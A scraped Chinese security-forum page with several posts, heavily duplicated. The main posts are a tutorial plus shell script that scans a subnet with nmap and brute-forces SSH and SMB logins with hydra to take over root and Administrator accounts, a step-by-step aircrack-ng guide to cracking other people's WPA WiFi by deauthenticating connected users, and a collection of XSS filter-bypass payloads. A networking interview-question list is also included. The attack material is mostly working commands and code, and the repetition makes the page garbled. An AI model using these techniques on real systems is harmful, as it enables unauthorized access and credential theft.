通知设置 新通知
Linux下使用hydra获取linux和windows系统用户名和密码的教程
系统安全 • katerina 发表了文章 • 5 个评论 • 1473 次浏览 • 2016-09-05 20:22
本文主要记录了在linux中使用hydra破解并获取某个网段中linux和windows系统的登录名和密码。其中使用到的工具，例如，弱密码词典、用户名词典、shell脚本我都会传到我的资源里面。
第一步：找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面，具体代码如下：
在命令行输入：nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面，代码如下：
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步：使用nmap工具扫描linux和windows的远程端口
linux系统：
cat /etc/ssh/sshd_config 命令查看linux的远程端口，linux的远程端口是22，ssh协议。
windows系统：
开始—运行–cmd下输入 netstat –nba ，命令查看linux的远程端口，windows的远程端口是3389，smb协议。
查到远程登陆窗口后，使用nmap扫描22和3389的端口，代码如下：
nmap -p22,3389 -iL ip.txt > res.txt
第三步：从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址，存放到sship.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统，接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步：从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址，存放到smbip.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
与第三步类似，smbip.txt里面的ip地址都是smb远程开着的windows系统，接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步：使用hydra暴力破解linux密码
在命令行输入以下命令：
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址，使用hydra进行暴力破解，从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步：使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿，不同的只是协议和ip地址。
第七步：使用找到的密码远程登陆
linux远程连接命令：
ssh -l root 172.18..
输入这个命令之后，系统会提示你输入密码passwd：，这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令：
smb -l Administrator 172.18..
根据提示输入密码，就可以远程登陆了。
最后，我把这些命令写成了一个shell，如下：
#!/bin/sh
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "请输入你的位置变量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi shell运行截图：
查看全部
第一步：找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面，具体代码如下：
在命令行输入：nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面，代码如下：
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步：使用nmap工具扫描linux和windows的远程端口
linux系统：
cat /etc/ssh/sshd_config 命令查看linux的远程端口，linux的远程端口是22，ssh协议。
windows系统：
开始—运行–cmd下输入 netstat –nba ，命令查看linux的远程端口，windows的远程端口是3389，smb协议。
查到远程登陆窗口后，使用nmap扫描22和3389的端口，代码如下：
nmap -p22,3389 -iL ip.txt > res.txt
第三步：从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址，存放到sship.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统，接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步：从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址，存放到smbip.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
与第三步类似，smbip.txt里面的ip地址都是smb远程开着的windows系统，接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步：使用hydra暴力破解linux密码
在命令行输入以下命令：
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址，使用hydra进行暴力破解，从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步：使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿，不同的只是协议和ip地址。
第七步：使用找到的密码远程登陆
linux远程连接命令：
ssh -l root 172.18..
输入这个命令之后，系统会提示你输入密码passwd：，这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令：
smb -l Administrator 172.18..
根据提示输入密码，就可以远程登陆了。
最后，我把这些命令写成了一个shell，如下：
#!/bin/sh
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "请输入你的位置变量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi shell运行截图：
查看全部
本文主要记录了在linux中使用hydra破解并获取某个网段中linux和windows系统的登录名和密码。其中使用到的工具，例如，弱密码词典、用户名词典、shell脚本我都会传到我的资源里面。
第一步：找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面，具体代码如下：
在命令行输入：nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面，代码如下：
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步：使用nmap工具扫描linux和windows的远程端口
linux系统：
cat /etc/ssh/sshd_config 命令查看linux的远程端口，linux的远程端口是22，ssh协议。
windows系统：
开始—运行–cmd下输入 netstat –nba ，命令查看linux的远程端口，windows的远程端口是3389，smb协议。
查到远程登陆窗口后，使用nmap扫描22和3389的端口，代码如下：
nmap -p22,3389 -iL ip.txt > res.txt
第三步：从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址，存放到sship.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统，接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步：从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址，存放到smbip.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
与第三步类似，smbip.txt里面的ip地址都是smb远程开着的windows系统，接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步：使用hydra暴力破解linux密码
在命令行输入以下命令：
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址，使用hydra进行暴力破解，从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步：使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿，不同的只是协议和ip地址。
第七步：使用找到的密码远程登陆
linux远程连接命令：
ssh -l root 172.18..
输入这个命令之后，系统会提示你输入密码passwd：，这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令：
smb -l Administrator 172.18..
根据提示输入密码，就可以远程登陆了。
最后，我把这些命令写成了一个shell，如下：
第一步：找到网段内存活的主机
使用nmap工具查找存活的主机并存到up.txt里面，具体代码如下：
在命令行输入：nmap -sn 172.18.16.0/24 > up.txt
从up.txt里面过滤出ip地址存到ip.txt里面，代码如下：
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步：使用nmap工具扫描linux和windows的远程端口
linux系统：
cat /etc/ssh/sshd_config 命令查看linux的远程端口，linux的远程端口是22，ssh协议。
windows系统：
开始—运行–cmd下输入 netstat –nba ，命令查看linux的远程端口，windows的远程端口是3389，smb协议。
查到远程登陆窗口后，使用nmap扫描22和3389的端口，代码如下：
nmap -p22,3389 -iL ip.txt > res.txt
第三步：从结果里过滤出22端口开着的ip地址
从结果里过滤出22端口开着的ip地址，存放到sship.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh远程开着的linux系统，接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。
第四步：从结果里过滤出3389端口开着的ip地址
从结果里过滤出3389端口开着的ip地址，存放到smbip.txt里面，代码如下：
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
与第三步类似，smbip.txt里面的ip地址都是smb远程开着的windows系统，接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。
第五步：使用hydra暴力破解linux密码
在命令行输入以下命令：
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址，使用hydra进行暴力破解，从暴破结果中过滤取出ip地址对应的用户名和密码。
第六步：使用hydra暴力破解windows密码
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
与第五步相仿，不同的只是协议和ip地址。
第七步：使用找到的密码远程登陆
linux远程连接命令：
ssh -l root 172.18..
输入这个命令之后，系统会提示你输入密码passwd：，这时候你输入获取的密码就可以远程登陆了。
windows远程连接命令：
smb -l Administrator 172.18..
根据提示输入密码，就可以远程登陆了。
最后，我把这些命令写成了一个shell，如下：
#!/bin/shshell运行截图：
para1=$#
para2=$1
if [ $para1 -eq 0 ]; then
echo "请输入你的位置变量"
else
echo "-------------------stpe1 check up host list---------------------------"
echo "nmap -sn $para2 , please wait for moment......"
nmap -sn "$para2">up.txt
cat up.txt | grep for | awk '{print $5}'>ip.txt
echo "up host is done , save to up.txt"
echo "-------------------stpe2 port check 22 and 3389-----------------------"
echo "22 and 3389 port checking... please wait for moment......"
nmap -p22,3389 -iL ip.txt > res.txt
echo "-------------------stpe3 select 22 port------------------------------"
echo "doing 22 save to sship.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
echo "-------------------stpe4 select 3389 port----------------------------"
echo "doing 3389 save to 3389ip.txt"
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
echo "-----------------------------stpe5 attack ssh------------------------"
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
echo "-------------------------stpe6 attack 3389---------------------------"
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
cat -n find.txt
fi
【面试题】网络安全工程师面试题tcp/ip篇
协议安全 • katerina 发表了文章 • 2 个评论 • 2094 次浏览 • 2016-09-05 20:18
最近在面试网络安全工程师，在面试过程中网络基础知识必须满足以下几点：1、理解模型：尤其必须理解OSI、TCP/IP、Cisco和纵深防御网络模型。
2、理解第二层相关问题：包括了冲突域、广播域、交换与集线、端口安全以及生成树的相关主题
3、理解第三层相关问题：包含了IP路由协议；内部路由协议、如RIPv1/v2 和OSPF；外部路由协议，如BGP、子网络、超网络；网络地址转换（NAT）和IPv6
4、理解第四层相关问题：包含了TCP和UDP、会话的建立、报头和选项、端口地址转换以及常用端口
5、理解五到七层相关问题;包含了应用漏洞、特洛伊/蠕虫/病毒、内容过滤和IDS/ISP/IDP.
我又总结了一下在面试中经常被问到的知识点，算是比较全面的吧，如果大家发现了什么遗漏，希望大家可以提示一下，我会补充起来，方便大家共同学习进步~
下面就是总结的技术点（按照问题出现的频率排列）：
1、讲一讲交换机的学习机制
2、TCP的半连接状态是怎样的？
3、什么是DDOS攻击？和DOS攻击有什么区别？
4、DHCP动态分配IP的过程是什么？它的原理是什么？
5、讲一讲什么是ARP协议？
6、ARP投毒过程和原理？该怎么防御ARP投毒？
7、讲一下TCP协议和UDP协议的区别？
8、讲一下TCP的三次握手过程
9、DHCP协议的功能？报文结构？
10、MAC泛红攻击的原理和过程？它的防御方式是什么？
11、ip报头格式是什么？
12、nat转换的原理是什么？和iptables的关系？
PS：后面我会把其中的一些技术写成博文，以便大家在面试中遇到该类问题时可以轻松回答，分分钟搞定面试官，成为牛X的黑客！ 查看全部
2、理解第二层相关问题：包括了冲突域、广播域、交换与集线、端口安全以及生成树的相关主题
3、理解第三层相关问题：包含了IP路由协议；内部路由协议、如RIPv1/v2 和OSPF；外部路由协议，如BGP、子网络、超网络；网络地址转换（NAT）和IPv6
4、理解第四层相关问题：包含了TCP和UDP、会话的建立、报头和选项、端口地址转换以及常用端口
5、理解五到七层相关问题;包含了应用漏洞、特洛伊/蠕虫/病毒、内容过滤和IDS/ISP/IDP.
我又总结了一下在面试中经常被问到的知识点，算是比较全面的吧，如果大家发现了什么遗漏，希望大家可以提示一下，我会补充起来，方便大家共同学习进步~
下面就是总结的技术点（按照问题出现的频率排列）：
1、讲一讲交换机的学习机制
2、TCP的半连接状态是怎样的？
3、什么是DDOS攻击？和DOS攻击有什么区别？
4、DHCP动态分配IP的过程是什么？它的原理是什么？
5、讲一讲什么是ARP协议？
6、ARP投毒过程和原理？该怎么防御ARP投毒？
7、讲一下TCP协议和UDP协议的区别？
8、讲一下TCP的三次握手过程
9、DHCP协议的功能？报文结构？
10、MAC泛红攻击的原理和过程？它的防御方式是什么？
11、ip报头格式是什么？
12、nat转换的原理是什么？和iptables的关系？
PS：后面我会把其中的一些技术写成博文，以便大家在面试中遇到该类问题时可以轻松回答，分分钟搞定面试官，成为牛X的黑客！ 查看全部
最近在面试网络安全工程师，在面试过程中网络基础知识必须满足以下几点：1、理解模型：尤其必须理解OSI、TCP/IP、Cisco和纵深防御网络模型。
2、理解第二层相关问题：包括了冲突域、广播域、交换与集线、端口安全以及生成树的相关主题
3、理解第三层相关问题：包含了IP路由协议；内部路由协议、如RIPv1/v2 和OSPF；外部路由协议，如BGP、子网络、超网络；网络地址转换（NAT）和IPv6
4、理解第四层相关问题：包含了TCP和UDP、会话的建立、报头和选项、端口地址转换以及常用端口
5、理解五到七层相关问题;包含了应用漏洞、特洛伊/蠕虫/病毒、内容过滤和IDS/ISP/IDP.
我又总结了一下在面试中经常被问到的知识点，算是比较全面的吧，如果大家发现了什么遗漏，希望大家可以提示一下，我会补充起来，方便大家共同学习进步~
下面就是总结的技术点（按照问题出现的频率排列）：
1、讲一讲交换机的学习机制
2、TCP的半连接状态是怎样的？
3、什么是DDOS攻击？和DOS攻击有什么区别？
4、DHCP动态分配IP的过程是什么？它的原理是什么？
5、讲一讲什么是ARP协议？
6、ARP投毒过程和原理？该怎么防御ARP投毒？
7、讲一下TCP协议和UDP协议的区别？
8、讲一下TCP的三次握手过程
9、DHCP协议的功能？报文结构？
10、MAC泛红攻击的原理和过程？它的防御方式是什么？
11、ip报头格式是什么？
12、nat转换的原理是什么？和iptables的关系？
PS：后面我会把其中的一些技术写成博文，以便大家在面试中遇到该类问题时可以轻松回答，分分钟搞定面试官，成为牛X的黑客！
2、理解第二层相关问题：包括了冲突域、广播域、交换与集线、端口安全以及生成树的相关主题
3、理解第三层相关问题：包含了IP路由协议；内部路由协议、如RIPv1/v2 和OSPF；外部路由协议，如BGP、子网络、超网络；网络地址转换（NAT）和IPv6
4、理解第四层相关问题：包含了TCP和UDP、会话的建立、报头和选项、端口地址转换以及常用端口
5、理解五到七层相关问题;包含了应用漏洞、特洛伊/蠕虫/病毒、内容过滤和IDS/ISP/IDP.
我又总结了一下在面试中经常被问到的知识点，算是比较全面的吧，如果大家发现了什么遗漏，希望大家可以提示一下，我会补充起来，方便大家共同学习进步~
下面就是总结的技术点（按照问题出现的频率排列）：
1、讲一讲交换机的学习机制
2、TCP的半连接状态是怎样的？
3、什么是DDOS攻击？和DOS攻击有什么区别？
4、DHCP动态分配IP的过程是什么？它的原理是什么？
5、讲一讲什么是ARP协议？
6、ARP投毒过程和原理？该怎么防御ARP投毒？
7、讲一下TCP协议和UDP协议的区别？
8、讲一下TCP的三次握手过程
9、DHCP协议的功能？报文结构？
10、MAC泛红攻击的原理和过程？它的防御方式是什么？
11、ip报头格式是什么？
12、nat转换的原理是什么？和iptables的关系？
PS：后面我会把其中的一些技术写成博文，以便大家在面试中遇到该类问题时可以轻松回答，分分钟搞定面试官，成为牛X的黑客！
【无线攻防】使用aircrack-ng工具破解wifi密码
无线安全 • katerina 发表了文章 • 11 个评论 • 1851 次浏览 • 2016-09-05 20:04
目前无线网络加密技术日益成熟。以前的wep加密方式日渐淘汰，因为这种加密方式非常容易破解，当然现在还是有不少使用这种加密方式无线网络。现在大部分的无线网络都是使用wpa/wpa2方式来加密的，这种加密方式安全系数高，很难破解，当然这也不是不可能的。
本文将教大家破解用wpa/wpa2加密方式的wifi密码。
现在就让我们开始吧！
工具（海淘回来的网卡）：
工具：TL-WN722N 150M高增益USB无线网卡；
自己拍的图，如图1，TPLINK官网找的图，如图2；
第一步：
把USB网卡连接到电脑就能开始用了。
iwconfig，查看网卡有没有加载进来；
第二步：
airmon-ng start wlan0，开启网卡wlan0；
第三步：
airodump-ng wlan0mon，抓周围wif信号；
第一次抓周围wifi的时候失败了，我查看了一下，原因是有进程占用了网卡。
第四步：
airmon-ng check kill，杀死占用网卡的进程；
第五步：
airodump-ng wlan0mon，再次开启监控；
成功监控到，截图如下：
见谅一下我打的马赛克~~~~~~~~~~~~~~
第六步：
airodump-ng -c 6 --bssid 7C:A2:3E:87:5E:C0 -w tutu wlan0mon，对其中的一个wifi进行抓包；
-c 6 是它的CH，也就是信道；
--bssid 7C:A2:3E:87:5E:C0 AP的mac地址；
-w tutu 文件名称是tutu；
wlan0mon 网卡的名称；
抓包截图如下：
第七步：
假如你够幸运的话，有人连接wifi的话，在第六步就能抓到握手包。很显然我不是那个幸运的人，没办法，只能把wifi里连着的主机踢下去，等他再次连wifi的时候，就能成功滴抓到握手包啦。
踢人的命令：aireplay-ng -0 10 -a AP的mac地址 -c 你要踢掉的主机的mac地址 wlan0mon，成功踢掉，一踢掉他又自动连接了，这时候我成功滴抓到了握手包。截图如下：
第八步：
将抓到的包跑词典，爆破密码，截图如下：
就这样获取别人的WiFi密码啦~~~~ 查看全部
本文将教大家破解用wpa/wpa2加密方式的wifi密码。
现在就让我们开始吧！
工具（海淘回来的网卡）：
工具：TL-WN722N 150M高增益USB无线网卡；
自己拍的图，如图1，TPLINK官网找的图，如图2；
第一步：
把USB网卡连接到电脑就能开始用了。
iwconfig，查看网卡有没有加载进来；
第二步：
airmon-ng start wlan0，开启网卡wlan0；
第三步：
airodump-ng wlan0mon，抓周围wif信号；
第一次抓周围wifi的时候失败了，我查看了一下，原因是有进程占用了网卡。
第四步：
airmon-ng check kill，杀死占用网卡的进程；
第五步：
airodump-ng wlan0mon，再次开启监控；
成功监控到，截图如下：
见谅一下我打的马赛克~~~~~~~~~~~~~~
第六步：
airodump-ng -c 6 --bssid 7C:A2:3E:87:5E:C0 -w tutu wlan0mon，对其中的一个wifi进行抓包；
-c 6 是它的CH，也就是信道；
--bssid 7C:A2:3E:87:5E:C0 AP的mac地址；
-w tutu 文件名称是tutu；
wlan0mon 网卡的名称；
抓包截图如下：
第七步：
假如你够幸运的话，有人连接wifi的话，在第六步就能抓到握手包。很显然我不是那个幸运的人，没办法，只能把wifi里连着的主机踢下去，等他再次连wifi的时候，就能成功滴抓到握手包啦。
踢人的命令：aireplay-ng -0 10 -a AP的mac地址 -c 你要踢掉的主机的mac地址 wlan0mon，成功踢掉，一踢掉他又自动连接了，这时候我成功滴抓到了握手包。截图如下：
第八步：
将抓到的包跑词典，爆破密码，截图如下：
就这样获取别人的WiFi密码啦~~~~ 查看全部
目前无线网络加密技术日益成熟。以前的wep加密方式日渐淘汰，因为这种加密方式非常容易破解，当然现在还是有不少使用这种加密方式无线网络。现在大部分的无线网络都是使用wpa/wpa2方式来加密的，这种加密方式安全系数高，很难破解，当然这也不是不可能的。
本文将教大家破解用wpa/wpa2加密方式的wifi密码。
现在就让我们开始吧！
工具（海淘回来的网卡）：
工具：TL-WN722N 150M高增益USB无线网卡；
自己拍的图，如图1，TPLINK官网找的图，如图2；
第一步：
把USB网卡连接到电脑就能开始用了。
iwconfig，查看网卡有没有加载进来；
第二步：
airmon-ng start wlan0，开启网卡wlan0；
第三步：
airodump-ng wlan0mon，抓周围wif信号；
第一次抓周围wifi的时候失败了，我查看了一下，原因是有进程占用了网卡。
第四步：
airmon-ng check kill，杀死占用网卡的进程；
第五步：
airodump-ng wlan0mon，再次开启监控；
成功监控到，截图如下：
见谅一下我打的马赛克~~~~~~~~~~~~~~
第六步：
airodump-ng -c 6 --bssid 7C:A2:3E:87:5E:C0 -w tutu wlan0mon，对其中的一个wifi进行抓包；
-c 6 是它的CH，也就是信道；
--bssid 7C:A2:3E:87:5E:C0 AP的mac地址；
-w tutu 文件名称是tutu；
wlan0mon 网卡的名称；
抓包截图如下：
第七步：
假如你够幸运的话，有人连接wifi的话，在第六步就能抓到握手包。很显然我不是那个幸运的人，没办法，只能把wifi里连着的主机踢下去，等他再次连wifi的时候，就能成功滴抓到握手包啦。
踢人的命令：aireplay-ng -0 10 -a AP的mac地址 -c 你要踢掉的主机的mac地址 wlan0mon，成功踢掉，一踢掉他又自动连接了，这时候我成功滴抓到了握手包。截图如下：
第八步：
将抓到的包跑词典，爆破密码，截图如下：
就这样获取别人的WiFi密码啦~~~~
本文将教大家破解用wpa/wpa2加密方式的wifi密码。
现在就让我们开始吧！
工具（海淘回来的网卡）：
工具：TL-WN722N 150M高增益USB无线网卡；
自己拍的图，如图1，TPLINK官网找的图，如图2；
第一步：
把USB网卡连接到电脑就能开始用了。
iwconfig，查看网卡有没有加载进来；
第二步：
airmon-ng start wlan0，开启网卡wlan0；
第三步：
airodump-ng wlan0mon，抓周围wif信号；
第一次抓周围wifi的时候失败了，我查看了一下，原因是有进程占用了网卡。
第四步：
airmon-ng check kill，杀死占用网卡的进程；
第五步：
airodump-ng wlan0mon，再次开启监控；
成功监控到，截图如下：
见谅一下我打的马赛克~~~~~~~~~~~~~~
第六步：
airodump-ng -c 6 --bssid 7C:A2:3E:87:5E:C0 -w tutu wlan0mon，对其中的一个wifi进行抓包；
-c 6 是它的CH，也就是信道；
--bssid 7C:A2:3E:87:5E:C0 AP的mac地址；
-w tutu 文件名称是tutu；
wlan0mon 网卡的名称；
抓包截图如下：
第七步：
假如你够幸运的话，有人连接wifi的话，在第六步就能抓到握手包。很显然我不是那个幸运的人，没办法，只能把wifi里连着的主机踢下去，等他再次连wifi的时候，就能成功滴抓到握手包啦。
踢人的命令：aireplay-ng -0 10 -a AP的mac地址 -c 你要踢掉的主机的mac地址 wlan0mon，成功踢掉，一踢掉他又自动连接了，这时候我成功滴抓到了握手包。截图如下：
第八步：
将抓到的包跑词典，爆破密码，截图如下：
就这样获取别人的WiFi密码啦~~~~
什么才是一个靠谱的弱口令字典？
口令安全 • wukong 回复了问题 • 7 人关注 • 6 个回复 • 1603 次浏览 • 2016-09-05 20:02
Xss Payload收（多场景bypass）
Web安全渗透 • Mosuan 发表了文章 • 10 个评论 • 1382 次浏览 • 2016-09-05 18:35
转自：d3adend.org/xss/ghettoBypass挺全的，我认真了下，还可以。
_____ _ _ _ __ _______ _____ _____ _ _ _ _
| __ \ | | | | | \ \ / / ___/ ___| / __ \ | | | | | | |
| | \/ |__ ___| |_| |_ ___ \ V /\ `--.\ `--. | / \/ |__ ___ __ _| |_ ___| |__ ___ ___| |_
| | __| '_ \ / _ \ __| __|/ _ \ / \ `--. \`--. \ | | | '_ \ / _ \/ _` | __/ __| '_ \ / _ \/ _ \ __|
| |_\ \ | | | __/ |_| |_| (_) | / /^\ |\__/ /\__/ / | \__/\ | | | __/ (_| | |_\__ \ | | | __/ __/ |_
\____/_| |_|\___|\__|\__|\___/ \/ \|____/\____/ \____/_| |_|\___|\__,_|\__|___/_| |_|\___|\___|\__|
A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.
Simple character manipulations.
Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = ).
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
Null-byte character between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x00=alert(0) />
Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
<img src='1' onerror/=alert(0) />
Vertical tab between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x0b=alert(0) />
Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00alert(0) />
Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=alert(0) />
Null-byte character before characters of HTML element names (IE).
<\x00img src='1' onerror=alert(0) />
Null-byte character after characters of HTML element names (IE, Safari).
<script\x00>alert(1)</script>
Null-byte character between characters of HTML element names (IE).
<i\x00mg src='1' onerror=alert(0) />
Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
<img/src='1'/onerror=alert(0)>
Use vertical tabs instead of whitespace (IE, Safari).
<img\x0bsrc='1'\x0bonerror=alert(0)>
Use quotes instead of whitespace in some situations (Safari).
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">
Use null-bytes instead of whitespaces in some situations (IE).
<img src='1'\x00onerror=alert(0)>
Just don't use spaces (IE, Firefox, Chrome, Safari).
<img src='1'onerror=alert(0)>
Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->
No greater-than characters needed (IE, Firefox, Chrome, Safari).
<img src='1' onerror='alert(0)' <
Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>
Backslash character between expression and opening parenthesis (IE).
<style>body{background-color:expression\(alert(1))}</style>
JavaScript Escaping
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
Encoding Galore.
HTML Attribute Encoding
<img src="1" onerror="alert(1)" />
<img src="1" onerror="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
URL Encoding
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
CSS Hexadecimal Encoding (IE specific examples)
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
JavaScript (hexadecimal, octal, and unicode)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
JavaScript (Decimal char codes)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
